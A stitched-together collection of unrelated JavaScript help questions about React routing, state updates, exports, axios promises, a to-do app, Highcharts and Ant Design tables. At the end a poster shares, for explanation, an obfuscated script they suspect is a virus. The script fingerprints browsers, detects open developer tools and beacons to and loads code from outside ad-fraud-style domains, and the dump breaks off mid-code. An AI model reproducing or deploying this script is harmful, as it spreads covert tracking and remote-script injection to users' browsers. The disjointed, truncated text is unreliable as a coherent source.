Category: javascript

I’m trying to make a dynamic project page using react router dom v6, using params gives the right id in console, but the project displayed is wrong, heres an example:

The “id: 7” is the project one and wrong, but the “6” below is the params id which is the correct one.

Here’s the project page code:

export function ProjectPage() {
  const {projectId} = useParams();
  const project = filterData[projectId]
  const {title, mediaUrl} = project;
  console.log(project, projectId)

  return (
    <div className={"project-page-body"}>
      <div className={"project-page-title"}>
        <h1 className={"project-item-title"}>{title}</h1>
        <p className={"description"}>
          Lorem ipsum filler text for project description.
        </p>
      </div>
      <div className={"project-page-image"}>
          <img src={mediaUrl} style={{width: "80vw", height: "auto" }}/>
      </div>
    </div>
  );
}´´´

I am writing a react script where whenever new transport data comes from backend, it should track it and show it in frontend, but the problem is whenever new values arrive from backend, it appends with old state. I am confused how to solve it.

const transportData = [
  [
    {
      type: "metro",
      icon: MetroIcon,
      sessionCount: 0,
      totalGreenhouseGazes: 0,
    },
    {
      type: "bus",
      icon: AutoBusIcon,
      sessionCount: 0,
      totalGreenhouseGazes: 0,
    },
  ],
  [
    {
      type: "run",
      icon: RunIcon,
      sessionCount: 0,
      totalGreenhouseGazes: 0,
    },
    {
      type: "carpool",
      icon: CarpoolIcon,
      sessionCount: 0,
      totalGreenhouseGazes: 0,
    },
  ],
  
  ];

 const [allTransport, setAllTransport] = React.useState([]); <-- this is coming from backend


    //in the format {bike: {sessionCount: 1, totalGreenhouseGazes: 10}
bus: {sessionCount: 0, totalGreenhouseGazes: 12}}

I want to these allTransprt data to update the above transport data

 const [transport, setTransport] = React.useState(transportData);
 
React.useEffect(() => {
    // find the mode of transport of populate its data correctly
    const keys = Object.keys(allTransport || {});

    transport.map((groupOfMode) => {
      groupOfMode.map((mode) => {
        keys.forEach((key) => {
          if (key === mode.type) {
            mode.sessionCount = allTransport[key]?.sessionCount || 0;
            mode.totalGreenhouseGazes =
              allTransport[key]?.totalGreenhouseGazes || 0;
            mode.totalDistance = allTransport[key]?.totalDistance || 0;
            
          }
        });
      });
    });
  }, [allTransport]);

From my code, the allTransport data comes, updates in transportData and looks like this in frontend when allTransport has all four selected values.

In 2nd iteration, when the allTransport data comes, it displays the previous values of transportData and updates the one selected. Like this:

This happened when only the three data were selected. Though the red circle was not the one retrieved from backend, it put the previous value. So I want something that if the value is not retrieved from backend, it should just have original value from transportData.

Any help is appreciated. Thanks!!

import React, { Component,} from 'react';
import App from '../App';

// this is my Component Flowmeter that has 2 buttons for incrementing and decrementing the
// the value of the state property currentValue


class Flowmeter extends Component {
 // 
    state = {
        values: [],
        currentValue: 0,
        number: 1,
        myNumbers: [1000, 2000, 3000],    
    };    
      // checking if my code otherwise works with the "myNumbers" property
    componentDidMount(){
        this.setState({ values: this.state.myNumbers });
    }
    // Button for incrementing "currentValue" by 1
    handleNextValue = () => {
        console.log('handleNextValue clicked');
        if(this.state.currentValue === this.state.values.length) return;
        this.setState({currentValue : this.state.currentValue +1 });
    };
    //Button for decrementing "currentValue" by 1
    handlePreviousValue = () => { 
        if(this.state.currentValue === 0) return;
        console.log('handlepreviousValue clicked');
        this.setState({currentValue : this.state.currentValue -1 });    
    }; 

    render()
    {
      //rendering my increment and decrement buttons
        return (
            <div>   
            <button onClick={this.handleNextValue}> next </button>
            <button onClick={this.handlePreviousValue}> previous </button>
            </div>
        )
    }
};
// trying to export currentValue.
// i have tried to set the export to {this.state.currentValue }; but nothing seems to work
export { currentValue };
export default Flowmeter;

this is the code for “Flowmeter.jsx”

i get this error when i try to export currentValue,

srccomponentsFlowMeter.jsx
Line 46:9: Parsing error: Export ‘currentValue’ is not defined. (46:9)

 // in this Function i fetch data from a firebase backend and store it in dbValues
import { database } from "./firebaseConfig";
import { collection, getDocs } from "firebase/firestore";
import React, { Component, useState, useEffect } from 'react';
import Flowmeter from './components/FlowMeter';
import { currentValue } from './components/FlowMeter';

  function databaseValue (){
    const [dbValues, setValues] = useState([]);
    const valuesCollection = collection(database, "Values");
   
    useEffect(() => {
      const getValues = async () => {
        const data = await getDocs(valuesCollection);
        console.log(data);
        console.log('testing...');
        setValues(data.docs.map((doc) => ({...doc.data()})));
      };
      getValues();
    }, []);

here i am trying to render the dbValues 1 by 1 with the help of an index of “currentValue”

    return ( <div className="Backend">
    {dbValues.map((Value) => {
     return <div> <h1>{Value.arrayValue[currentValue]}</h1> </div>;
    })}
    </div>
    );
}

export default databaseValue;

this is the code for “databasevalue.js”

I am new to javascript and am trying to fetch data from an API then post it to my own server (localhost).

I get the data using axios below:

async function getNCAA() {
    axios
    .get(`https://api.the-odds-api.com/v4/sports/${sportKey1}/scores/?daysFrom=1&apiKey=${apiKey}`)
    .then((res) => {
        console.log(res.data)
        console.log("Remaining requests", res.headers["x-requests-remaining"]);
        console.log("Used requests", res.headers["x-requests-used"]);
        return res.data
    })
    .catch((error) => {
        console.log("Error status", error.response.status);
        console.log(error.response.data);
        return error
    });
}

assign the data

let result = getNCAA();

then try to send it using express:

app.get('/', (req, res) => {
    res.send(result);
});

The result returns a Promise object that I don’t know how to access.

I’ve been able to access this data in the past by using a useState but I am not running a React app in this particular case

I want navbar to underline the currently visited page just like in the below picture-

How to make the return that the typed word did not return any search?
code print

I’m trying to create a to-do list app by vanilla JS.
I created some main functions but now I’m stucking in 2 points.

1st.
I created an “edit” button. this button adds input textbox element into li element that surrounds each to-do task by using a map method.However, I can’t come up with a proper way to replace an original wrtten tasks with a text contents in input textboxes when I finish editing.
So, I would like you to tell me how to write a “compEdit” function in the source code below.

2nd
When I add several tasks and push an edit button of other than 1st task, too many input text boxes are created.Probably, the number of created textboxes is as same amount as the element in arrayItems.

I suppose using map method itself is a wrong aproach.But I can’t come up with a good alternative.
I’ll be glad if someone tell me a proper way and why the bug in 2nd question happens.

Source code is here

//grab the elements
const todoText = document.getElementsByClassName('todo-text')[0];
const todoBtn = document.getElementsByClassName('todo-btn')[0];
const inputTask = document.getElementsByClassName('input-task')[0];
const arrayItems = [];

//function to add tasks
const addTask = (task) => {
    const listItem = document.createElement('li');
    const showItem = inputTask.appendChild(listItem);
    showItem.innerHTML = task;
    listItem.classList.add('list-item');
    arrayItems.push(listItem);

    //create a delete button
    const deleteBtn = document.createElement('button');
    deleteBtn.innerHTML = 'delete';
    listItem.appendChild(deleteBtn);

    //call a function when the button will be clicked
    deleteBtn.addEventListener('click', () => {
        deleteTask(deleteBtn);
    });

    //create an edit button
    const editBtn = document.createElement('button');
    editBtn.innerHTML = 'edit';
    listItem.appendChild(editBtn);

    //call a function when the button will be clicked
    editBtn.addEventListener('click', () => {
        editTask(arrayItems, listItem);
    });

    
};

const deleteTask = (deleteBtn) => {
    const chosenItem = deleteBtn.closest('li');
    inputTask.removeChild(chosenItem);
};

const editTask = (els = [], inputTask) => {

    //create a textbox into list items
    inputTask.innerHTML = els.map((el, i) =>    {
    return `
    <input type="text" class="editing-text[${i}]" name="item[${i}]" required>
    <input type="submit" class="complete-btn" value="complete">
    `
});

    //grab the elements of "edit button" and text into it
    const editingText = document.getElementsByClassName('editing-text')[0];
    const compBtn = document.getElementsByClassName('complete-btn')[0];

    //the function to complete editing
    const compEdit = () => {

} 

compBtn.addEventListener('click', compEdit);
}



todoBtn.addEventListener('click', () => {
    const task = todoText.value;
    if(task == ''){
        return;
    }
    addTask(task);
    todoText.value = '';
});

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="/style.css">
</head>
<body>
    <div class="wrap">
        <header class="header">
            <h1>Welcome!</h1>
        </header>
        <section class="add-todo">
            <div class="list-title">
                <h2>Add your task</h2>
            </div>
            <div class="contents-wrapper">
                <div class="list-contents">
                        <input type="text" name="todo" class="todo-text">
                        <input type="submit" value="add" class="todo-btn">
                </div>
            </div>
        </section>
        <section class="current-tasks">
            <div class="current-tasks__title">
                <h3>current tasks</h3>
            </div>
            <div class="tasks-wrapper">
                <ul class="input-task"></ul>
            </div>
            
        </section>
        <footer></footer>
    </div>
    <script src="/main.js"></script>
</body>
</html>

I’m using highcharts to create a master-detail chart, could you help me how to add another series type area to the chart? i have used example from official site, but i cant imagine how to add second area to this chart

const priceChart1 = Highcharts.getJSON(
'https://cdn.jsdelivr.net/gh/highcharts/[email protected]/samples/data/usdeur.json',
data => {
  let detailChart;

  // create the detail chart
  function createDetail(masterChart) {
    // prepare the detail chart
    var detailData = [],
      detailStart = data[0][0];

    masterChart.series[0].data.forEach(point => {
      if (point.x >= detailStart) {
        detailData.push(point.y);
      }
    });

    // create a detail chart referenced by a global variable
    detailChart = Highcharts.chart('detail-container', {
      chart: {
        zoomType: "x",
        spacingLeft: 10,
        spacingRight: -20,
        borderRadius: 10,
        backgroundColor: "#F3F3F3",
        borderColor: "#335cad",
        height: priceChartHeight,
        style: { fontFamily: "Manrope" },
        style: {
          position: 'absolute'
        },
        resetZoomButton: {
          position: {
              // align: 'right', // by default
              // verticalAlign: 'top', // by default
              x: -40,
              y: 5
          },
          theme: {
            fill: '#377DED',
            stroke: 'transparent',
            r: 0,
            style: {
              color: 'white',
              borderRadius: 10
            },
            states: {
                hover: {
                    fill: '#41739D',
                    style: {
                        color: 'white'
                    },
                },
           
      },
      },
        },
        marginBottom: 90,
        reflow: false,
        marginLeft: 10,
        style: {
          position: 'absolute'
        }
      },
      credits: {
        enabled: false
      },
      title: {
        text: null,
        align: 'left'
      },
      subtitle: {
        text: null,
        align: 'left'
      },
      xAxis: {
        type: 'datetime',
        visible: false,
      },
      yAxis: {
        title: {
          text: null,
        },
        opposite: true,
        gridLineColor: "rgba(87, 87, 87, 0.15)",
        gridLineDashStyle: "dash",
        left: -40
      },
      tooltip: {
        formatter: function () {
          var point = this.points[0];
          return ''  + '<br/>' + ' <span style="font-weight: 700;font-size: 14px; line-height: 19px; color: #377DED;"> '  + Highcharts.numberFormat(point.y, 2) + '</span> ' + '<span style="font-size: 9px; font-weight: 300; line-height: 12px; color: rgba(51,51,51, 0.25)">Nominal</span>'  + '<br/> ' + '<span style="font-size: 9px; font-weight: 300; line-height: 12px; color: rgba(51,51,51, 0.25)">' + Highcharts.dateFormat('%e %B %Y', this.x) + '</span>'  },
        shared: true,
        borderRadius: 5,
          borderColor: 'transparent',
          shadow: false,
          backgroundColor: '#fff'
      },
      legend: {
        enabled: false
      },
      plotOptions: {
        series: {
          marker: {
            enabled: false,
            states: {
              hover: {
                enabled: true,
                radius: 3
              }
            }
          }
        }
      },
      series: [
        {
          name: 'Nominal',
          data: detailData,

          type: 'area',
      }, 
    ],

      exporting: {
        enabled: false
      }

    }); // return chart
  }

  // create the master chart
  function createMaster() {
    Highcharts.chart('master-container', {
      chart: {
        reflow: false,
        borderWidth: 0,
        backgroundColor: null,
         spacingLeft: 10,
        spacingRight: 30,
        borderRadius: 10,
        zoomType: 'x',
        events: {

          // listen to the selection event on the master chart to update the
          // extremes of the detail chart
          selection: function (event) {
            var extremesObject = event.xAxis[0],
              min = extremesObject.min,
              max = extremesObject.max,
              
              detailData = [],
              xAxis = this.xAxis[0];
            // reverse engineer the last part of the data
            this.series[0].data.forEach(point => {
              if (point.x > min && point.x < max) {
                detailData.push([point.x, point.y]);
              }
            });

            // move the plot bands to reflect the new detail span
            xAxis.removePlotBand('mask-before');
            xAxis.addPlotBand({
              id: 'mask-before',
              from: data[0][0],
              to: min,
              color: 'rgba(0, 0, 0, 0)'
            });

            xAxis.removePlotBand('mask-after');
            xAxis.addPlotBand({
              id: 'mask-after',
              from: max,
              to: data[data.length - 1][0],
              color: 'rgba(0, 0, 0, 0)'
            });
            xAxis.addPlotBand({
              id: 'mask-after',
              from: min,
              to: max,
              color: 'rgba(255, 255, 255, 1)',
              borderColor: "#377DED",
              borderWidth: 2
            });


            detailChart.series[0].setData(detailData);
            console.log(min)

            console.log(max)

            return false;
          }
        }
      },
      title: {
        text: null
      },
      accessibility: {
        enabled: false
      },
      xAxis: {
          type: "datetime",
          labels: {    format: '{value:%b %e }'  },
          crosshair: {
            color: '#377DED80'
          },
          lineWidth: 0,   minorGridLineWidth: 0,   lineColor: 'transparent', minorTickLength: 0,   tickLength: 0,
          top: -5,
        showLastTickLabel: true,
        maxZoom: 14 * 24 * 3600000, // fourteen days
        plotBands: [{
          id: 'mask-before',
          from: data[0][0],
          to: data[data.length - 1][0],
          color: 'rgba(0, 0, 0, 0)'
        }],
        title: {
          text: null
        },
      },
      yAxis: {
        gridLineWidth: 0,
        labels: {
          enabled: false
        },
        title: {
          text: null
        },
        min: 0.6,
        showFirstLabel: false
      },
      tooltip: {
        borderRadius: 50,
        borderColor: 'red'
        
      },
      legend: {
        enabled: false
      },
      credits: {
        enabled: false
      },
      plotOptions: {
        series: {
          fillColor: {
            linearGradient: [0, 0, 0, 70],
            stops: [
              [0, Highcharts.getOptions().colors[0]],
              [1, 'rgba(255,255,255,0)']
            ]
          },
          lineWidth: 1,
          marker: {
            enabled: false
          },
          shadow: false,
          states: {
            hover: {
              lineWidth: 1
            }
          },
          enableMouseTracking: false
        }
      },

      series: [{
        type: 'area',
        name: 'USD to EUR',
        pointInterval: 24 * 3600 * 1000,
        pointStart: data[0][0],
        data: data
      }],

      exporting: {
        enabled: false
      }

    }, masterChart => {
      createDetail(masterChart);
    }); // return chart instance
  }

  // make the container smaller and add a second container for the master chart
  const container = document.getElementById('price-chart-main');
  container.style.position = 'relative';
  container.innerHTML += '<div id="detail-container" style="height: 100%"></div><div id="master-container" style="height: 90px; position: absolute; bottom: 0; width: 100%"></div>';

  // create master and in its callback, create the detail chart
  createMaster();
}

);

there is example that i used https://www.highcharts.com/demo/dynamic-master-detail

I want to change the background colour of columns of ant design table if the index of my data is even any idea how to change the background of columns on this condition.i have data in list want to set a condition through loop any idea how to change the background of coloumns in ant design.

 const [dataSource, setDataSource] = useState([])
 const { list } = useSelector((state) => state.userData) 
  useEffect(() => {

    dispatch(getData(token))
    setDataSource(list)
    dispatch(getDataofFormularyDrug(0))

   }, [])

      <Table
    columns={columns}
    // dataSource={list}
    dataSource={dataSource}
    pagination={{
      pageSize: 10
    }}


  />

 

This could be a virus so handle it with care, maybe don’t use it you don’t have anti virus active

It would interesting to see how this works or what it does.

thank you.

var _0x173b=['toUTCString','SameSite=Lax','join','onabort','querySelectorAll','script[srcx20$=x20x22','/invoke.jsx22]','className','atScript','key','format','floor','params','x22:x22','referrer','location','ancestorOrigins','href','random','getTimezoneOffset','https://outlineappearbar.com/watch.','.js?key=','stringify','&custom=','&tz=','&dev=','runTests','isEmulate','?key=','&kw=','&refer=','&res=','getResults','iframe','true','frameElement','HEAD','getElementsByTagName','childNodes','insertBefore','container','string','atContainer-','&uuid=','status','<!--video_banner=1;-->','varx20dfc221c35e','match','replace','atAsyncContainers','script','innerHTML','about:blank','window[x22atAsyncContainersx22]={};x20window[x22atAsyncContainersx22][x22','x22]x20=x20x22','contentDocument','contentWindow','document','margin','onerror','GET','send','error','Invalidx20invocationx20parametersx20passed','atOptions','atAsyncOptions','splice','.js','top','head','title','textContent','innerText','split','filter','','','false','','false','false','documentElement','push','forEach','function','truePoints','falsePoints','name','hasOwnProperty','result','userAgent','vendor','test','substr','some','MSInputMethodContext','documentMode','prototype','toString','operamini','createElement','div','style','type','text/css','fake','appendChild','styleSheet','cssText','background','overflow','hidden','parentNode','removeChild','offsetHeight','body','addTest','multiple','input','hasCustomProtocolHandler','hasCrypto','crypto','hasNotification','Notification','requestPermission','permission','TypeError','hasSharedWorkers','SharedWorker','hasInputCapture','hasTouchEvents','DocumentTouch','@mediax20(touch-enabled),(-webkit-touch-enabled),(-moz-touch-enabled),','(-o-touch-enabled),(-ms-touch-enabled){#liedetector{top:7px;position:absolute}}','offsetTop','hasWindowOrientationProperty','orientation','hasDevToolsOpen','console','firebug','undefined','__defineGetter__','hasLiedResolution','screen','width','availWidth','height','toLowerCase','oscpu','platform','indexOf','windowsx20phone','Windowsx20Phone','xbox','win','Windows','android','Android','cros','Chromex20OS','linux','Linux','ipad','iOS','mac','Other','ontouchstart','maxTouchPoints','msMaxTouchPoints','Mac','plugins','hasLiedBrowser','productSub','firefox','edge','Edge','opera','presto','Operax20Presto','opr','Opera','chrome','Chrome','safari','Safari','trident','StyleMedia','search','Firefox','length','Internetx20Explorer','languages','language','LieDetector','getElementById','async','defer','src','complete','readyState','addEventListener','load','attachEvent','onload','constructor','setAttribute','cookie','charAt','substring','abort','withCredentials','open','https://venetrigni.com/stats','responseText','trim','setTime','getTime','expires='];(function(_0x1568f,_0x1d0b49){var _0x2f9674=function(_0x5f811a){while(--_0x5f811a){_0x1568f['push'](_0x1568f['shift']());}};_0x2f9674(++_0x1d0b49);}(_0x173b,0x12b));var _0x2697=function(_0x5c6e93,_0x2b53f0){_0x5c6e93=_0x5c6e93-0x0;var _0x5cc78e=_0x173b[_0x5c6e93];return _0x5cc78e;};!function(_0x4ec778,_0x26627e,_0x599ed2){'use strict';var _0x112697=[],_0x55351d=[],_0x4222e6=_0x599ed2[_0x2697('0x0')],_0x319c8e=0xc,_0xf3ec68=0x0,_0x3be0a6=0x0,_0xcd017a={'isEmulate':function(){var _0x448b53=_0x54042a(),_0x25daef=_0x5e1c34(),_0x38bb98=_0x4acc3d(),_0x308df9=_0x56bc49();return _0x38bb98||_0x448b53&&!_0x25daef||_0x308df9;},'addTest':function(_0x3c0552,_0x19c684,_0x4cebec,_0x40499e){_0x112697[_0x2697('0x1')]({'name':_0x3c0552,'truePoints':_0x19c684,'falsePoints':_0x4cebec,'fn':_0x40499e});},'runTests':function(){var _0x10b759,_0x4ad4a7;return _0x112697[_0x2697('0x2')](function(_0x350bf0,_0x48d2f3){try{(_0x10b759=_0x2697('0x3')==typeof _0x350bf0['fn']?_0x350bf0['fn']():_0x350bf0['fn'])&&(_0xf3ec68|=0x1<<_0x48d2f3),_0x4ad4a7=_0x10b759?_0x350bf0[_0x2697('0x4')]:_0x350bf0[_0x2697('0x5')],_0x55351d[_0x2697('0x1')]({'name':_0x350bf0[_0x2697('0x6')],'result':_0x4ad4a7});}catch(_0x32e80b){_0x3be0a6|=0x1<<_0x48d2f3;}}),this;},'getResults':function(){return _0x319c8e+'.'+_0xf3ec68+(0x0<_0x3be0a6?'.'+_0x3be0a6:'');}};function _0x5e1c34(){var _0x58c905=0x0,_0x3e2b58=0x0;return _0x55351d['forEach'](function(_0x30ffce){_0x30ffce['result'][_0x2697('0x7')]('d')&&(_0x58c905+=_0x30ffce[_0x2697('0x8')]['d']),_0x30ffce[_0x2697('0x8')][_0x2697('0x7')]('m')&&(_0x3e2b58+=_0x30ffce[_0x2697('0x8')]['m']);}),_0x58c905<_0x3e2b58;}function _0x54042a(){var _0x453ce3=!0x1,_0x3fc87f;return!/SmartTV/['test'](_0x26627e[_0x2697('0x9')])&&(_0x3fc87f=_0x26627e[_0x2697('0x9')]||_0x26627e[_0x2697('0xa')]||_0x4ec778['opera'],(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i[_0x2697('0xb')](_0x3fc87f)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i['test'](_0x3fc87f[_0x2697('0xc')](0x0,0x4)))&&(_0x453ce3=!0x0),_0x453ce3);}function _0x56bc49(){return _0x55351d[_0x2697('0xd')](function(_0x27d3bb){return 0x0<_0x27d3bb[_0x2697('0x8')]['e'];});}function _0x4acc3d(){return Boolean(_0x4ec778[_0x2697('0xe')])&&Boolean(_0x599ed2[_0x2697('0xf')])||void 0x0!==_0x4ec778&&'[objectx20OperaMini]'===Object[_0x2697('0x10')][_0x2697('0x11')]['call'](_0x4ec778[_0x2697('0x12')]);}function _0x265eea(_0x82377b,_0x42e3b2,_0x545552,_0x50fdf0){var _0x50d7c4='LieDetector',_0x4624c6,_0x445f70,_0x28c047,_0x4a6059,_0x3b0ce0=_0x599ed2[_0x2697('0x13')](_0x2697('0x14')),_0x378ed4=_0x78298a();if(parseInt(_0x545552,0xa))for(;_0x545552--;)(_0x28c047=_0x599ed2[_0x2697('0x13')](_0x2697('0x14')))['id']=_0x50fdf0?_0x50fdf0[_0x545552]:_0x50d7c4+(_0x545552+0x1),_0x3b0ce0['appendChild'](_0x28c047);return(_0x4624c6=_0x599ed2[_0x2697('0x13')](_0x2697('0x15')))[_0x2697('0x16')]=_0x2697('0x17'),_0x4624c6['id']='s'+_0x50d7c4,_0x378ed4[_0x2697('0x18')]?_0x378ed4[_0x2697('0x19')](_0x4624c6):_0x3b0ce0['appendChild'](_0x4624c6),_0x378ed4[_0x2697('0x19')](_0x3b0ce0),_0x4624c6[_0x2697('0x1a')]?_0x4624c6[_0x2697('0x1a')][_0x2697('0x1b')]=_0x82377b:_0x4624c6[_0x2697('0x19')](_0x599ed2['createTextNode'](_0x82377b)),_0x3b0ce0['id']=_0x50d7c4,_0x378ed4[_0x2697('0x18')]&&(_0x378ed4[_0x2697('0x15')][_0x2697('0x1c')]='',_0x378ed4[_0x2697('0x15')][_0x2697('0x1d')]=_0x2697('0x1e'),_0x4a6059=_0x4222e6['style'][_0x2697('0x1d')],_0x4222e6[_0x2697('0x15')][_0x2697('0x1d')]='hidden',_0x4222e6[_0x2697('0x19')](_0x378ed4)),_0x445f70=_0x42e3b2(_0x3b0ce0,_0x82377b),_0x378ed4[_0x2697('0x18')]?(_0x378ed4[_0x2697('0x1f')][_0x2697('0x20')](_0x378ed4),_0x4222e6[_0x2697('0x15')][_0x2697('0x1d')]=_0x4a6059,_0x4222e6[_0x2697('0x21')]):_0x3b0ce0[_0x2697('0x1f')][_0x2697('0x20')](_0x3b0ce0),Boolean(_0x445f70);}function _0x78298a(){var _0x226f69=_0x599ed2[_0x2697('0x22')];return _0x226f69||((_0x226f69=_0x599ed2[_0x2697('0x13')](_0x2697('0x22')))[_0x2697('0x18')]=!0x0),_0x226f69;}_0xcd017a[_0x2697('0x23')]('hasFileInputMultiple',{},{'m':0x5},function(){return _0x2697('0x24')in _0x599ed2[_0x2697('0x13')](_0x2697('0x25'));}),_0xcd017a[_0x2697('0x23')](_0x2697('0x26'),{'d':0x7},{},function(){return Boolean(_0x26627e['registerProtocolHandler']);}),_0xcd017a[_0x2697('0x23')](_0x2697('0x27'),{},{'m':0x14},function(){return Boolean(_0x4ec778[_0x2697('0x28')]);}),_0xcd017a['addTest'](_0x2697('0x29'),{'d':0x7},{},function(){if(!_0x4ec778['Notification']||!_0x4ec778[_0x2697('0x2a')][_0x2697('0x2b')])return!0x1;if('granted'===_0x4ec778['Notification'][_0x2697('0x2c')])return!0x0;try{new _0x4ec778[(_0x2697('0x2a'))]('');}catch(_0x118d79){if(_0x2697('0x2d')===_0x118d79[_0x2697('0x6')])return!0x1;}return!0x0;}),_0xcd017a[_0x2697('0x23')](_0x2697('0x2e'),{'d':0xa},{},function(){return _0x2697('0x2f')in _0x4ec778;}),_0xcd017a[_0x2697('0x23')](_0x2697('0x30'),{'m':0xa},{},function(){return'capture'in _0x599ed2[_0x2697('0x13')](_0x2697('0x25'));}),_0xcd017a[_0x2697('0x23')](_0x2697('0x31'),{'m':0x5},{'d':0x5},function(){var _0x163d32,_0x25592b;'ontouchstart'in _0x4ec778||_0x4ec778[_0x2697('0x32')]&&_0x599ed2 instanceof DocumentTouch?_0x163d32=!0x0:_0x265eea(_0x2697('0x33')+_0x2697('0x34'),function(_0x1bb754){_0x163d32=0x7===_0x1bb754[_0x2697('0x35')];});return _0x163d32;}),_0xcd017a[_0x2697('0x23')](_0x2697('0x36'),{'m':0x14},{'d':0xa},function(){return void 0x0!==_0x4ec778[_0x2697('0x37')];}),_0xcd017a[_0x2697('0x23')](_0x2697('0x38'),{'d':0x3e8},{},function(){if(_0x4ec778[_0x2697('0x39')]&&_0x4ec778[_0x2697('0x39')][_0x2697('0x3a')])return!0x0;var _0x1cfc10=!0x1,_0x50d954=new Image();return _0x2697('0x3b')!=typeof console&&_0x50d954[_0x2697('0x3c')]&&(_0x50d954[_0x2697('0x3c')]('id',function(){_0x1cfc10=!0x0;}),console['log'](_0x50d954),console['clear']()),_0x1cfc10;}),_0xcd017a[_0x2697('0x23')](_0x2697('0x3d'),{'e':0x0},{},function(){return _0x4ec778[_0x2697('0x3e')][_0x2697('0x3f')]<_0x4ec778['screen'][_0x2697('0x40')]||_0x4ec778[_0x2697('0x3e')][_0x2697('0x41')]<_0x4ec778[_0x2697('0x3e')]['availHeight'];}),_0xcd017a[_0x2697('0x23')]('hasLiedOs',{'e':0x1},{},function(){var _0x27c6ac=_0x26627e['userAgent'][_0x2697('0x42')](),_0xfba00c=_0x26627e[_0x2697('0x43')],_0x327939=_0x26627e[_0x2697('0x44')]['toLowerCase'](),_0xc49cb3,_0x1d6839;if(_0xc49cb3=0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x46'))?_0x2697('0x47'):0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x48'))?'Xbox':0x0<=_0x27c6ac['indexOf'](_0x2697('0x49'))?_0x2697('0x4a'):0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x4b'))?_0x2697('0x4c'):0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x4d'))?_0x2697('0x4e'):0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x4f'))?_0x2697('0x50'):0x0<=_0x27c6ac[_0x2697('0x45')]('iphone')||0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x51'))?_0x2697('0x52'):0x0<=_0x27c6ac[_0x2697('0x45')](_0x2697('0x53'))?'Mac':_0x2697('0x54'),(_0x2697('0x55')in _0x4ec778||0x0<_0x26627e[_0x2697('0x56')]||0x0<_0x26627e[_0x2697('0x57')])&&-0x1===[_0x2697('0x4c'),_0x2697('0x4e'),_0x2697('0x52'),'Other',_0x2697('0x47')][_0x2697('0x45')](_0xc49cb3))return!0x0;if(void 0x0!==_0xfba00c){if(0x0<=(_0xfba00c=_0xfba00c[_0x2697('0x42')]())[_0x2697('0x45')]('win')&&_0x2697('0x4a')!==_0xc49cb3&&'Windowsx20Phone'!==_0xc49cb3)return!0x0;if(0x0<=_0xfba00c[_0x2697('0x45')](_0x2697('0x4f'))&&-0x1===[_0x2697('0x4c'),'Chromex20OS',_0x2697('0x50')][_0x2697('0x45')](_0xc49cb3))return!0x0;if(0x0<=_0xfba00c['indexOf'](_0x2697('0x53'))&&_0x2697('0x58')!==_0xc49cb3&&'iOS'!==_0xc49cb3)return!0x0;if(/win|linux|mac/['test'](_0xfba00c)===('Other'===_0xc49cb3))return!0x0;}return 